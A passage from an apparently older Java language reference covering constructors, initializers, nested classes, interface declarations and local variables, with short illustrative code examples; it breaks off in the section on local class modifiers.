Constructors

A constructor is a special kind of method that is designed to set the initial values of an object's instance variables and do anything else that is necessary to create an object. Constructors are only called as part of the object creation process. The declaration of a constructor does not include a return type. The name of a constructor is always the same as the name of the class:

[Graphic: Figure from the text]

A constructor declaration is really made up of five distinct things:

  • Optional modifiers that specify attributes of the constructor

  • An identifier that names the constructor; this identifier must be the same as the name of the class

  • A list of formal parameters that specifies the values that are passed to the constructor

  • An optional throws clause that specifies any exceptions that can be thrown by the constructor

  • A block that defines the functionality of the constructor

Here is an example that shows a class with some constructors:

class Construct {
    private Construct(Double[] values, int weights[]) {
    }
    public Construct(OutputStream o, Double[] values, int weights[])
                    throws IOException {
        this(values, weights);
        o.write(weights[0]);
    }
    public Construct() {
    }
}

References
Blocks;
ClassOrInterfaceName 4.1.6;
Exception Handling 9;
Method formal parameters;
Identifiers;
Object Creation

Constructor modifiers

The modifiers public, protected, and private can be used in the declaration of a constructor to specify the accessibility of the constructor. In this situation, the modifiers have the following meanings:

public

A constructor that is declared public is accessible from any class.

protected

A constructor that is declared protected is accessible in any class that is part of the same package as the class in which the constructor is declared. Such a constructor is also accessible to any subclass of the class in which it is declared, regardless of whether or not the subclass is part of the same package.

private

A constructor that is declared private is accessible in the class in which it is declared. Such a constructor is not accessible in other classes. In particular, a constructor that is declared private is not accessible in subclasses of the class in which it is declared.

If a class is declared with at least one constructor, to prevent Java from providing a default public constructor, and all of the constructors are declared private, no other class can create an instance of the class. It makes sense to prevent the instantiation of a class if the class exists only to provide a collection of static methods. An example of this type of class is java.lang.Math.

private constructors can be used by static methods in the same class.

If a constructor is not declared with any of the access modifiers, the constructor has the default accessibility. Default access is often called "friendly" access because it is similar to friendly access in C++. A constructor with default access is accessible in any class that is part of the same package as the class in which the constructor is declared. However, a friendly constructor is not accessible in subclasses of the class in which it is declared.

References Class Modifiers; Inner class modifiers; Local class modifiers

Constructor name

A constructor has no name of its own. The identifier that appears in a constructor declaration must be the same as the name of the class in which the constructor is declared. This identifier can be used anywhere that the constructor is accessible.

References Class Types

Constructor return type

A constructor has no declared return type; it always returns an object that is an instance of its class. A return statement in a constructor is treated the same as it is in a method declared to return void; the return statement must not contain a return value. Note that it is not possible to explicitly declare a constructor to have the return type void.

References The return Statement

Constructor formal parameters

The formal parameters in a constructor declaration specify a list of variables to which values are assigned when the constructor is called. Within the block that contains the implementation of the constructor, the constructor's formal parameters are treated as local variables; the name of each formal parameter is available as an identifier in the constructor's implementation. Formal parameters differ from local variables only in that their declaration and value come from outside the constructor's block.

If a formal parameter is declared final, any assignment to that parameter generates an error. The syntax for declaring final parameters is not supported prior to Java 1.1.

If a constructor has no formal parameters, the parentheses must still appear in the constructor declaration.

The presence of square brackets in a formal parameter declaration, either as part of a reference type or after the name of a formal parameter, indicates that the formal parameter is an array type. For example:

Foo(int a[],    // a is an array of int
    int[] b)    // b is also an array of int

It is also possible to declare that a formal parameter is an array of arrays, or more generally, arrays nested to any level. Each pair of square brackets in the declaration corresponds to a dimension of the array; it makes no difference whether the brackets appear with the type or after the name of the formal parameter. For example:

int[][][] d3        // Each of these is an array of
int[][] f3[]        // arrays of arrays of integers
int[] g3[][]
int h3[][][]

References
Array Types;
Blocks;
Method formal parameters;
Local Variables

Constructor throws clause

If a constructor is expected to throw any exceptions, the constructor declaration must declare that fact in a throws clause. If a constructor implementation contains a throw statement, or if the constructor calls another constructor or method declared with a throws clause, there is the possibility that an exception will be thrown from within the constructor.

If the exception is not caught, it will be thrown out of the constructor to its caller. Any exception that can be thrown out of a constructor in this way must be listed in a throws clause in the constructor declaration, unless the exception is an instance of Error, RuntimeException, or a subclass of one of those classes.

Subclasses of the Error class correspond to situations that are not easily predicted, such as the system running out of memory. Subclasses of RuntimeException correspond to many common runtime problems, such as illegal casts and array index problems. The classes listed in a throws clause must be Throwable or any of its subclasses; the Throwable class is the superclass of all objects that can be thrown in Java.

References Exception Handling 9; The throw Statement; The try Statement

Constructor implementation

The block at the end of a constructor declaration contains the implementation of the constructor. The block is called the constructor body. The first statement in a constructor body is special; it is the only place that Java allows an explicit call to a constructor outside of an allocation expression. An explicit call to a constructor has a special form:

[Graphic: Figure from the text]

In an explicit constructor call, the keyword this can be used to specify a call to a constructor in the same class. The keyword super can be used to specify a call to a constructor in the immediate superclass.

For example:

class Square extends RegularPolygon {
    // Construct a square without specifying the length of the sides
    Square() {
        this(5);
    }
    // Construct a square with sides of a specified length
    Square(int len) {
        super(4,len);
    }
}

The first constructor simply calls the second constructor with the argument 5. The second constructor calls a constructor in the immediate superclass to create a four-sided regular polygon with sides of the given length.

Except for the constructors in the class Object, a constructor always begins by calling another constructor in the same class or in its immediate superclass. If the first statement in a constructor is not an explicit call to another constructor using this or super and the class is not Object, the compiler inserts a call to super() before the first statement in the constructor.

In other words, if a constructor does not begin with an explicit call to another constructor, it begins with an implicit call to the constructor of its immediate superclass that takes no argument. The result is constructor chaining: a constructor for each superclass of a class is called before the constructor of the class executes any of its own code. After all of the calls to the superclasses' constructors (explicit or implicit) have returned, any instance variables that have initializers are initialized, and finally the constructor executes its own code.

Constructor chaining places a restriction on the arguments that can be passed to a constructor in an explicit constructor call. The expressions provided as arguments must not refer to any instance variables of the object being created because these instance variables are not initialized until the superclass's constructor returns.

References
ArgumentList 4.1.8;
Object Allocation Expressions;
this;
super

The default constructor

If a class declaration does not contain any constructor declarations, Java supplies a default constructor for the class. The default constructor is public, it takes no arguments, and it simply calls the constructor of its class's superclass that takes no arguments. The default constructor is approximately equivalent to:

public MyClass() {
    super();
}

Because Java creates a default constructor only for a class that does not have any explicitly declared constructors, it is possible for the superclass of that class not to have a constructor that takes no arguments. If a class declaration does not contain a constructor declaration and its immediate superclass does not have a constructor that takes no arguments, the compiler issues an error message because the default constructor references a non-existent constructor in the superclass. The default constructor for the class Object does not contain a call to another constructor because class Object has no superclass.

References Object

Constructor inheritance

A subclass does not inherit constructors from its superclass, as it does normal methods. This is one important difference between regular methods and constructors: constructors are not inherited. However, a subclass can access a constructor in its superclass, as long as the constructor is accessible, based on any access modifiers used in its declaration.

This example illustrates the difference between inheritance and accessibility:

public class A {
    public A (int q) {
    }
}
public class B extends A {
    public B () {
        super(5);
    }
}

Although class B is a subclass of class A, B does not inherit the public constructor in A that takes a single argument. This means that if you try to create a new instance of B using an allocation expression with a single argument, you'll get an error message from the compiler. Here's an erroneous call:

B b1 = new B(9);

However, as shown in the example, the constructor in B can access the constructor in A using the keyword super.

The finalize method

A class declaration can include a special method that is called before an instance of the class is destroyed by the garbage collector. This method is called a finalizer ; it has the name finalize(). The finalize() method for a class must be declared with no parameters, a void return type, and no modifiers:

void finalize() {...}

If a class has a finalize() method, it is normally called by the garbage collector before an object of that class type is destroyed. A program can also explicitly call an object's finalize() method, but in this case, the garbage collector does not call the method during the object destruction process. If the garbage collector does call an object's finalize() method, the garbage collector does not immediately destroy the object because the finalize() method might do something that results in a reference to the object. Thus the garbage collector waits to destroy the object until it can again prove it is safe to do so. The next time the garbage collector decides it is safe to destroy the object, it does so without calling the finalizer again. In any case, a finalize() method is never called more than once by the garbage collector for a particular object.

A superclass of the class may also define a finalize() method, but Java does not provide a mechanism that automatically calls the superclass's finalize() method. If a class contains a finalize() method, it is a good idea for that method to call super.finalize() as the very last thing that it does. This technique ensures that the finalize() method of the superclass gets called. The technique even works if the superclass does not explicitly define a finalize() method, since every class inherits a default finalize() method from the Object class. This default finalize method does not do anything.

References Object Destruction

Static Initializers

A static initializer is a piece of code that is executed when a class is loaded. A static initializer is simply a block of code in a class declaration that is preceded by the keyword static:

[Graphic: Figure from the text]

A class is loaded when its definition is needed by another class. You can specifically request that a class be loaded by calling the forName() method of the Class class on the class you want to load. Alternatively, you can use the loadClass() method of a ClassLoader object to load a class directly.

When a class is loaded, a Class object is created to represent it and storage for the class's static variables is allocated. When a class is initialized, its static initializers and static variable initializers are evaluated in the order in which they appear in the class declaration. For example, here is a class that contains both static initializers and static variable initializers:

class foo {
    static int i = 4;
    static {
        i += 2;
        j = 5 * i;
    }
    static int j = 7;
    static double d;
    static frame f = new Frame();
    static { d = Math.tan(Math.PI/j); }
}

When the foo class is loaded, here is what happens. First, the variable i is set to 4. Then the first static initializer is executed. It increments i by 2, which makes it 6, and sets j to 5*i, which is 30. Next, the variable j is set to 7 by its initializer; this overwrites the value that was set in the static initializer. The variable f is then set to the new Frame object created by its initializer. Finally, the second static initializer is executed. It sets the variable d to [image], which is [image].

Notice that the first static initializer uses the variable j, even though the variable is not declared until after the static initializer. A static initializer can refer to a static variable that is declared after the static initializer. However, the same is not true for static variable initializers. A static variable initializer cannot refer to any variables that are declared after its own declaration, or the compiler generates an error message. The following class declaration is erroneous:

class foo {
    static int x = y*3;    // error because y defined after x
    static int y;
}

If an exception is thrown out of a static initializer, the method that caused the class to be defined throws an ExceptionInInitializerError. This ExceptionInInitializerError contains a reference to the original exception that can be fetched by calling its getException() method.

References
Blocks;
Class;
Errors;
Variables

Instance Initializers

An instance initializer is a piece of code that is executed when an instance of a class is created. Specifically, it is executed after the object's immediate superclass constructor returns, but before the constructor of the class itself runs. An instance initializer is simply a block of code in a class that is not in any method. Here is the formal syntax:

[Graphic: Figure from the text]

Every class has at least one constructor that explicitly or implicitly calls one of the constructors of its immediate superclass before it does anything else. When the superclass's constructor returns, any instance initializers and instance variable initializers are evaluated before the constructor does anything else. The instance initializers and instance variable initializers are evaluated in the order in which they appear in the class declaration. If an instance initializer throws an exception, the exception appears to have come from the constructor that called the superclass's constructor.

References Blocks; Constructors; Variable initializers

Nested Top-Level and Member Classes

Nested top-level classes and member classes are classes that are declared inside of another class. Just as with a top-level class declaration, the declaration of a nested top-level class or member class creates a reference type in Java. Here's the formal definition of a nested top-level or member class declaration:

[Graphic: Figure from the text]

A class declared inside of another class has access to all of the variables, methods, and other inner classes of the enclosing class. If a nested top-level or member class is not private, it can also be accessed outside of its enclosing class by qualifying its name with the name of its enclosing class, as follows:

EnclosingClass.InnerClass

The syntax for declaring nested top-level classes and member classes is not supported prior to Java 1.1.

References Nested top-level classes and interfaces; Member classes; Class Declarations

Inner class modifiers

The keywords public, protected, and private can be used in the declaration of a nested top-level or member class to specify the accessibility of the inner class. In this situation, the modifiers have the following meanings:

public

A nested top-level or member class that is declared public is accessible from any class that can access the enclosing class.

protected

A nested top-level or member class that is declared protected is accessible from any class that is part of the same package as the enclosing class. Such an inner class is also accessible to any subclass of the enclosing class, regardless of whether or not the subclass is part of the same package.

private

A nested top-level or member class that is declared private is only accessible from its enclosing class and other classes declared within the enclosing class. In particular, an inner class that is declared private is not accessible in subclasses of its enclosing class.

If a nested top-level or member class is not declared with any of the access modifiers, the class has the default accessability. Default access is often called "friendly" access because it is similar to friendly access in C++. An inner class with default access is accessible in any class that is part of the same package as the enclosing class. However, a friendly inner class is not accessible to classes outside of the package of the enclosing class, even if the desired classes are subclasses of the enclosing class.

The keywords abstract, final, and static can also be used in the declaration of a nested top-level or member class. These modifiers have the following meanings:

abstract

If a nested top-level or member class is declared abstract, no instances of the class may be created. An inner class declared abstract may contain abstract methods; classes not declared abstract may not contain abstract methods and must override any abstract methods they inherit with methods that are not abstract. Furthermore, classes that implement an interface and are not declared abstract must contain or inherit methods that are not abstract, that have the same name, have the same number of parameters, and have corresponding parameter types as the methods declared in the interfaces that the class implements.

final

If a nested top-level or member class is declared final, it cannot be subclassed. In other words, it connot appear in the extends clause of another class.

static

An inner class that is declared with the static modifier is called a nested top-level class. A class can only be declared with the static modifier if its enclosing class is a top-level class (i.e., it is not declared within another class). The code within a nested top-level class cannot directly access non-static variables and methods of its enclosing class.

An inner class that is not declared with the static modifier is called a member class. The code within a member class can access all of the variables and methods of its enclosing class, including private variables and methods.

References Class Modifiers; Local class modifiers

Inner class members

The body of a nested top-level or member class cannot declare any static variables, static methods, static classes, or static initializers. Beyond those restrictions, the remainder of the declaration is the same as that for a top-level class declaration, which is described in Class Declarations.

References
Class Declarations;
Constructors;
Instance Initializers;
Methods;
Nested Top-Level and Member Classes;
Static Initializers;
Variables

Previous | Home | Next
Object-Orientation Java Style | Book Index | Interface Declarations
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 5] 5.5 Interface Declarations

Java Language Reference

Previous Chapter 5
Declarations 		Next

5.5 Interface Declarations

An interface declaration creates a reference type in Java. An interface declaration is similar to a class declaration, with the following two very important differences.

  • All of the methods in an interface are implicitly abstract. Every method declaration in an interface specifies the formal parameters and return type of the method, but it does not include an implementation of the method.

  • All of the variables in an interface are implicitly static and final.

Interfaces are most useful for declaring that an otherwise unrelated set of classes have a common set of methods. For example, if you want to store a variety of objects in a database, you might want all of those objects to have fetch and store methods. The fetch and store methods of each object require different implementations, so it makes sense to declare the fetch and store methods in an interface declaration. Then any class that needs fetch and store methods can implement the interface.

The formal definition for an interface declaration is:

[Graphic: Figure from the text]

[Graphic: Figure from the text]

While the above diagram may seem complicated, an interface declaration is really made up of five distinct things:

  • Optional modifiers that specify attributes of the class

  • The keyword interface

  • An identifier that names the interface

  • An optional extends clause that specifies the super interfaces of the declared interface

  • Any number of interface member declarations, which can include variables and methods

Here are some sample interface declarations:

interface Dyn {
    double squeeze();
}
interface Press extends Dyn {
    double squeeze(double theta);
}

Here is an example of a class that implements Press:

class Clamp implements Press {
      ...
    double squeeze() {
        return squeeze(0);
    }
    double squeeze(double theta) {
        return force*Math.cos(theta);
    }
      ...
}

Since the Press interface extends the Dyn interface, the Clamp class must implement the methods declared in both Dyn and Press.

References
Class Declarations;
ClassOrInterfaceName 4.1.6;
Identifiers;
Interfaces;
Interface Members

Interface Modifiers

The keywords public and abstract can appear as modifiers at the beginning of an interface declaration. In this situation, these modifiers have the following meanings:

public

If an interface is declared public, it can be referenced by any class or interface. If the public modifier is not used, however, the interface can only be referenced by classes and interfaces in the same package. A single source file, or compilation unit, can only declare one public class or interface (see Compilation Units for an exception to this rule).

abstract

An interface is implicitly abstract; so all of the methods in an interface are implicitly abstract. Including the abstract modifier in an interface declaration is permitted, but it does not change the meaning of the interface declaration.

References
Compilation Units;
Inner interface modifiers;
Interface method modifiers;
Interface variable modifiers

Interface Name

The identifier that follows the keyword interface is the name of the interface. This identifier can be used as a reference type wherever the interface is accessible.

References Interface Types

Interface Inheritance

The extends clause specifies any super-interfaces of the interface being declared; the extends keyword can be followed by the names of one or more interfaces. If an interface has an extends clause, the clause can only name other interfaces.

Including an interface in the extends clause of another interface means that the declared interface inherits the variables and methods declared in the super-interface. A class that implements the declared interface must implement all of the methods in the declared interface, as well as all of the methods inherited from the super-interface.

If an interface declaration does not include an extends clause, the interface does not extend any other interfaces.

Interface Members

The members of an interface can be variables or methods; an interface cannot have constructors, static initializers, instance initializers, nested top-level classes or interfaces, or member classes:

[Graphic: Figure from the text]

References Interface Methods; Interface Variables

Interface Variables

Any field variables declared in an interface are implicitly static and final. In other words, field variables in an interface are named constants. Every field variable declaration in an interface must contain an initializer that sets the value of the named constant:

[Graphic: Figure from the text]

A variable declaration in an interface is made up of three distinct things:

  • Optional modifiers that specify attributes of the variable.

  • A type, which can be either a primitive type or a reference type.

  • Any number of identifiers that name variables. Each name must be followed by an initializer that sets the value of the constant.

References
Variable initializers;
Expression 4;
Identifiers;
Type 3

Interface variable modifiers

Variables in an interface are implicitly static and final. Including these modifiers in a variable declaration is permitted, but it is not necessary and it does not change the meaning of the variable declaration. Thus, by definition, all variables in an interface are named constants.

If an interface is declared public, a field variable declared in the interface is public, even if it is declared with the private or protected modifier. If an interface is not declared public, however, any field variables in the interface have the default accessibility, which means that they are only accessible in classes and interfaces in the same package.

It is an error to declare a field variable in an interface with the transient or volatile modifier.

References Interface Modifiers; Variable modifiers

Interface variable type

If the interface variable declaration uses a primitive type, the variable contains a constant value of the specified primitive type. If the declaration uses a reference type, the variable contains a constant reference to the specified type of object. The presence of square brackets in a variable declaration, after either the type or variable name, indicates that the variable contains a reference to an array.

References Array Types; Primitive Types; Reference Types

Interface variable name

The identifier that follows the variable type is the name of the variable. This identifier can be used anywhere that the variable is accessible.

It is an error to declare two field variables with the same name in the same interface. It is also an error to declare a field variable with the same name as a method declared in the same interface or any of its super-interfaces.

An interface that extends another interface inherits all of the variables in its super-interface. Any class that implements an interface has access to all of the variables defined in that interface, as well as the variables inherited from super-interfaces.

If a field variable is declared with the same name as a variable declared in a super-interface, the variable in the super-interface is considered to be shadowed. If a variable is shadowed in an interface, it cannot be accessed as a field of that interface. However, a shadowed variable can be accessed by casting a reference to an object that implements the interface to a reference to the appropriate super-interface in which the variable is not shadowed. For example:

interface A {
    int x = 4;
}
interface B extends A {
    int x = 7;
}
class Z implements B {
    Z() {
        int i = x;              // i gets the value of B's x
        int h = ((A)this).x;    // h gets the value of A's x
    }
}

The variable x in interface A is shadowed by the variable x in interface B. Class Z implements interface B, so a reference to x produces the value 7, as defined in interface B. However, it is possible to access the shadowed variable by casting this to a reference to interface A.

In some situations, an interface may inherit multiple field variables with the same name. This leads to a single, ambiguous variable name. For example:

interface A {
    int x = 4;
}
interface B {
    int x = 43;
}
interface C extends A, B {
    int y = 22;
}
class Z implements C {
    public static void main (String[] argv) {
        System.out.println(x);        // Ambiguous
    }
}

In this example, the interface C inherits two variables named x. This is fine, as long as C does not refer to the variable x by its simple name in any of its declarations. If C needs to use x, it must qualify the name with the appropriate interface name (e.g., A.x). Class Z implements interface C, so it also has access to two variables named x. As a result, the use of x in main() is ambiguous. This problem can be resolved by qualifying the variable name with the appropriate interface name (e.g., B.x).

A class that implements multiple interfaces can also inherit multiple field variables with the same name. Again, this leads to a single, ambiguous variable name:

interface A {
    int x = 4;
}
interface B {
    int x = 43;
}
class Z implements A, B {
    public static void main (String[] argv) {
        System.out.println(x);        // Ambiguous
    }
}

The class Z implements both interface A and interface B, so it inherits two variables named x. As a result, the use of x in main() is ambiguous. This problem can again be resolved by qualifying the variable name with the appropriate interface name (e.g., B.x).

References Field Expressions; Identifiers; Interface method name

Interface variable initializers

Every variable declaration in an interface must include an initializer that sets the value of the constant. The initializer does not, however, have to be a constant expression. If the variable is of a non-array type, the expression in the initializer is evaluated and the variable is set to the result of the expression, as long as the result is assignment-compatible with the variable. If the variable is of an array type, the initializer must be an array initializer.

The initializer for a variable in an interface cannot refer to any variables that are declared after its own declaration.

References
Variable initializers;
Array Types;
Assignment Operators;
Constant Expressions;
Expression 4

Interface Methods

Any methods declared in an interface are implicitly abstract. In other words, methods in an interface do not have a specified implementation:

[Graphic: Figure from the text]

A method declaration in an interface is made up of six distinct things:

  • Optional modifiers that specify attributes of the method

  • A type that specifies the type of value returned by the method

  • An identifier that names the method

  • A list of formal parameters that specifies the values that are passed to the method

  • An optional throws clause that specifies any exceptions that can be thrown by the method

  • A semicolon, since the method declaration does not include an implementation

References
ClassOrInterfaceName 4.1.6;
Exception Handling 9;
Method formal parameters;
Identifiers;
Type 3

Interface method modifiers

Methods in an interface are implicitly abstract. Including this modifier in a method declaration is permitted, but it is not necessary and it does not change the meaning of the method declaration. Thus, by definition, none of the methods in an interface has a specified implementation.

If an interface is declared public, a method declared in the interface is public, even if it is declared with the private or protected modifier. If the interface is not declared public, however, any methods in the interface have the default accessibility, which means that they are only accessible in classes and interfaces in the same package.

It is an error to declare a method in an interface with the static, final, native, or synchronized modifier. These modifiers are not allowed because defining a method in an interface is not meant to imply anything about the nature of the implementation, other than the return type of the method and the types of the formal parameters. A class that implements the interface has control over the implementation of the methods and can use any of these modifiers when they are appropriate for the implementation.

References Interface Modifiers; Method modifiers

Interface method return type

A method declaration in an interface must specify the type of value returned by the method. The return value can be of a primitive type or of a reference type. The presence of square brackets in a method declaration, after either the return type or the formal parameters, indicates that the method returns a reference to the specified type of array. If the method does not return a value, the declaration uses void to indicate that. The return type comes before the name of the method in the method declaration.

References
Array Types;
Method return type;
Primitive Types;
Reference Types

Interface method name

The identifier that follows the return type is the name of the method. This identifier can be used anywhere that the method is accessible.

It is an error to declare two methods that have the same name, the same number of parameters, and the same type for each corresponding parameter in the same interface. It is also an error to declare a method with the same name as a variable declared in the same interface or any of its super-interfaces.

An interface that extends another interface inherits all of the methods in its super-interface. Any class that implements an interface must provide an implementation for each of the methods defined in that interface, as well as each of the methods inherited from super-interfaces.

If an interface inherits methods from multiple super-interfaces that have the same name, formal parameters, and return type, there is no problem. The various super-interfaces are in agreement about the method. The interface can also override the inherited methods by declaring a method with the same name, formal parameters, and return type. In any case, a class that implements the interface has to provide a single implementation for the method.

However, if an interface inherits methods from multiple super-interfaces that have the same name and same formal parameters, but different return types, a compile-time error results. By the same token, if the interface attempts to override an inherited method with a method that has the same name and same formal parameters, but a different return type, a compile-time error results.

If an interface inherits methods from multiple super-interfaces that have the same name but different formal parameters, there is no problem. The methods are simply considered overloaded in the interface. The interface can even declare additional methods that have the same name but different formal parameters. A class that implements the interface simply has to provide an implementation for each of the overloaded methods.

References Identifiers; Interface variable name; Method Call Expression

Interface method formal parameters

The formal parameters in a method declaration specify a list of variables to which values are assigned when the method is called. If a method has no formal parameters, the parentheses must still appear in the method declaration. The presence of square brackets in a formal parameter declaration, either as part of a reference type or after the name of a formal parameter, indicates that the formal parameter is an array type.

References
Array Types;
Method formal parameters;
Method formal parameters;
Type 3

Interface method throws clause

If a method is expected to throw any exceptions, the method declaration must declare that fact in a throws clause. If the declaration of a method in an interface contains a throws clause, any method in a sub-interface that overrides that method cannot include any classes in its throws clause that are not declared in the overridden method.

References Exception Handling 9; Method throws clause

Nested Top-Level Interfaces

Nested top-level interfaces are interfaces that are declared inside of another class. Just as with a top-level interface declaration, the declaration of a nested top-level interface creates a reference type in Java. Here's the formal definition of a nested top-level interface:

[Graphic: Figure from the text]

A nested top-level interface can be accessed outside of its enclosing class by qualifying its name with the name of its enclosing class, as follows:

EnclosingClass.InnerInterface

The syntax for declaring nested top-level interfaces is not supported prior to Java 1.1.

References Nested top-level classes and interfaces; SimpleInterfaceDeclaration 5.5

Inner interface modifiers

The keywords public, abstract, and static can be used in the declaration of a nested top-level interface. In this situation, these modifiers have the following meanings:

public

If a nested top-level interface is declared public, it is accessible from any class or interface that can access the enclosing class. If the public modifier is not used, however, the nested top-level interface can only be referenced by classes and interfaces in the same package as the enclosing class.

abstract

A nested top-level interface is implicitly abstract; thus, all of the methods in the interface are implicitly abstract. Including the abstract modifier in a nested top-level interface declaration is permitted, but it does not change the meaning of the interface declaration.

static

A nested top-level interface is implicitly static. Including the static modifier in a nested top-level interface declaration is permitted, but it does not change the meaning of the interface declaration.

References Interface Modifiers

Inner interface members

The remainder of a nested top-level interface declaration is the same as that for a top-level interface declaration, which is described in Interface Declarations.

References Interface Declarations; Interface Methods; Interface Variables

Previous | Home | Next
Class Declarations | Book Index | Statements and Control Structures
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 6] Statements and Control Structures

Java Language Reference

Previous Chapter 6 Next

6. Statements and Control Structures

Contents:
Labeled Statements
The Empty Statement
Expression Statements
The if Statement
The switch Statement
Iteration Statements
The break Statement
The continue Statement
The return Statement
The throw Statement
The try Statement
The synchronized Statement

A statement is the construct used to control the flow of program execution in Java:

[Graphic: Figure from the text]

Statements are executed in sequence, unless a statement alters the flow of control. Statements usually correspond to executable code.

References
Blocks;
The break Statement;
The continue Statement;
The Empty Statement;
Expression Statements;
The if Statement;
Iteration Statements;
Labeled Statements;
The return Statement;
The switch Statement;
The synchronized Statement;
The throw Statement;
The try Statement

6.1 Blocks

A block is a sequence of zero or more statements, local variable declarations, or local class declarations enclosed in curly braces:

[Graphic: Figure from the text]

The bodies of methods, constructors, static initializers, and instance initializers are blocks. A variable declaration in a block causes a local variable to be defined, while a class declaration in a block causes a local class to be defined. A block is itself a kind of statement, so a block can contain other blocks. Here is an example of a block:

{
    int tmp = x;
    x = y;
    y = tmp;
}

The statements in a block are executed in the sequence in which they occur, unless a statement that alters the sequence of execution is executed. If, as a result of such a statement, the Java compiler can determine that a statement will never be executed, the compiler is required to produce an error message about the unreachable statement.

The one exception to this rule allows if statements that have constant Boolean expressions. The compiler recognizes if statements that have constant Boolean expressions and does not generate code for the portion of the statement that can never be executed. This mechanism can be used for conditional compilation; it is similar to the C/C++ preprocessor features that are used for this purpose.

References
Constant Expressions;
Constructors;
Instance Initializers;
Local Classes;
Local Variables;
Methods;
Statement 6;
Static Initializers;
The switch Statement

Local Variables

Local variables declared in a block exist only from their declaration to the end of the block. A local variable declaration cannot include any modifiers except the final modifier. In other words, a variable declaration in a block cannot include any of the following keywords: public, protected, private, static, transient, or volatile. The syntax that permits the use of the final modifier with local variables is new as of Java 1.1; the usage is not permitted with earlier versions of the language.

The syntax of a local variable declaration is:

[Graphic: Figure from the text]

A local variable declaration is really made up of two distinct things:

  • A type, which can be either a primitive type or a reference type.

  • Any number of identifiers that name variables. Each name can be followed by pairs of square brackets to indicate an array variable, as well as an optional initializer for the variable.

A local variable declared within a block that has an initializer is initialized when its declaration is executed. Within the body of a method or constructor, its formal parameters are treated as local variables. Formal parameters are initialized when a method is called. A local variable can also be declared in the header of a for statement.

The following are some examples of local variable declarations:

int x;
double[] k, m[];

References
Variable initializers;
Expression 4;
Identifiers;
Interface Variables;
Type 3;
The for Statement;
Variables

Final local variables

If a local variable is declared with the final modifier, the variable is a named constant value. As such, it must be assigned an initial value. Any assignment to a final local variable, other than the one that provides its initial value, is a compile-time error. The initial value for a final local variable is typically provided by an initializer that is part of the variable's declaration. For example:

final int X = 4;

A final local variable that is not initialized in its declaration is called a blank final. A blank final must be assigned a value exactly once. The compiler uses flow analysis that takes if statements and iteration statements into account to ensure that a blank final is assigned a value exactly once. Thus, it is possible to have multiple assignments to a blank final, so long as exactly one of them can be executed. For example, here is an instance initializer that sets the value of a blank final:

{
    final int DAYS_IN_YEAR;
    if (isLeapYear(new Date()))
        DAYS_IN_YEAR = 366;
    else
        DAYS_IN_YEAR = 365;
    ...
}

Local variables that are declared final are not supported prior to Java 1.1.

References
Instance Initializers;
The do Statement;
The for Statement;
The if Statement;
The while Statement;
Variable modifiers

Local variable type

A local variable declaration must always specify the type of the variable. If the declaration of a local variable uses a primitive type, the variable contains a value of the specified primitive type. If the declaration uses a reference type, the variable contains a reference to the specified type of object.

The presence of square brackets in a variable declaration, after either the type or the variable name, indicates that the variable contains a reference to an array. For example:

int a[];        // a is an array of int
int[] b;        // b is also an array of int

It is also possible to declare a variable to contain an array of arrays, or more generally, arrays nested to any level. Each pair of square brackets in the declaration corresponds to a dimension of the array; it makes no difference whether the brackets appear after the type or the variable name. For example:

int[][][] d3;      // Each of these is an array of
int[][] f3[];      // arrays of arrays of integers
int[] g3[][];
int h3[][][];
int[] j3, k3[];    // An array and an array of arrays

References Array Types; Primitive Types; Reference Types

Local variable name

The identifier that follows the variable type is the name of the local variable. When a local variable definition is in effect, all occurrences of that name are taken to mean the local variable. If a local variable is declared with the same name as a class, an interface, or a field of the class in which the local variable is declared, the definition of the class, interface, or field is hidden. Fields that are hidden by a local variable can be referenced using the keyword this. For example:

class myClass {
    int value;
    void doit(int x) {
        int value;
        value = x*4;               // Set local variable
        this.value = value + 1;    // Set field variable
}

A block cannot have multiple local variables with the same name. This means that a local variable cannot be declared at a point in a block where a local variable with the same name is already defined. For example, consider the following code:

myMethod(char c){
    int j;        // Okay
    char c;       // Error
    int j;        // Error
    {
        int j;    // Error
    }
    {
        int x;    // Okay
    }
    {
        int x;    // Okay
    }
    int x;        // Okay
}

In the above example, the declaration of c as a local variable is an error because it occurs in a method that has a formal parameter with that name. The second declaration of j is an error because there is already a local variable defined with that name. The third declaration of j as a local variable is also an error for the same reason; the nested block sees all of the declarations that are visible in the enclosing block, including the declaration of j in the outer block.

The first declaration of x is fine because there is no previous declaration of x for it to conflict with. The second declaration of x is also fine because there is no previous declaration of x in the enclosing block for it to conflict with. The first declaration of x occurs in a nested block, so it is not visible in the enclosing block. The third declaration of x is also fine because the preceding declarations occurred in nested blocks; they are not visible in the enclosing block.

References Identifiers; this

Local variable initializers

A local variable declaration can contain an initializer. If the variable is of a non-array type, the expression in the initializer is evaluated and the variable is set to the result of the expression, as long as the result is assignment-compatible with the variable. If the variable is of an array type, the initializer must be an array initializer, as described in Variable initializers. If the variable is declared final, the initializer sets the value of the named constant.

A local variable declaration with an initializer is similar in effect to a local variable declaration without an initializer immediately followed by an assignment statement that sets the declared variable. Take the following example:

int a = 4;

This is equivalent to:

int a;
a = 4;

If a local variable has an initializer, the value of the variable is set to the value of the initializer when the declaration is executed.

Any attempt to access the value of a local variable before its value is set by an assignment statement or an initializer is treated as an error by the Java compiler. For example:

int foo(int x) {
    int a = x + 1;
    int b, c;
    if (a > 4)
        b = 3;
    a = a * c;        // Error: c not initialized
    a = b * 8 + a;    // Error: b might not be initialized

This example contains two errors. First, the compiler complains about the expression a*c because c is not initialized. The compiler also complains about the expression b* 8+a because the preceding assignment to b may not executed, depending on the value of a. If the compiler cannot guarantee that a local variable will be initialized, it generates an error message when the variable is used.

References Variable initializers; Assignment Operators

Local Classes

Local classes declared in a block exist only in the scope of that block. Local classes are not supported prior to Java 1.1 Here's the syntax of a local class declaration:

[Graphic: Figure from the text]

A local class can access local variables in the enclosing block that are declared final. A local class can also access instance variables of the enclosing class if they are not declared inside of a static method or static initializer.

There is an alternate syntax for a local class that allows an anonymous local class to be defined. This syntax is available as part of an allocation expression.

References
Allocation Expressions;
Anonymous classes;
Local classes;
Local Variables;
Class Declarations;
Variables

Local class modifiers

The keywords abstract and final can be used in the declaration of a local class. These modifiers have the following meanings:

abstract

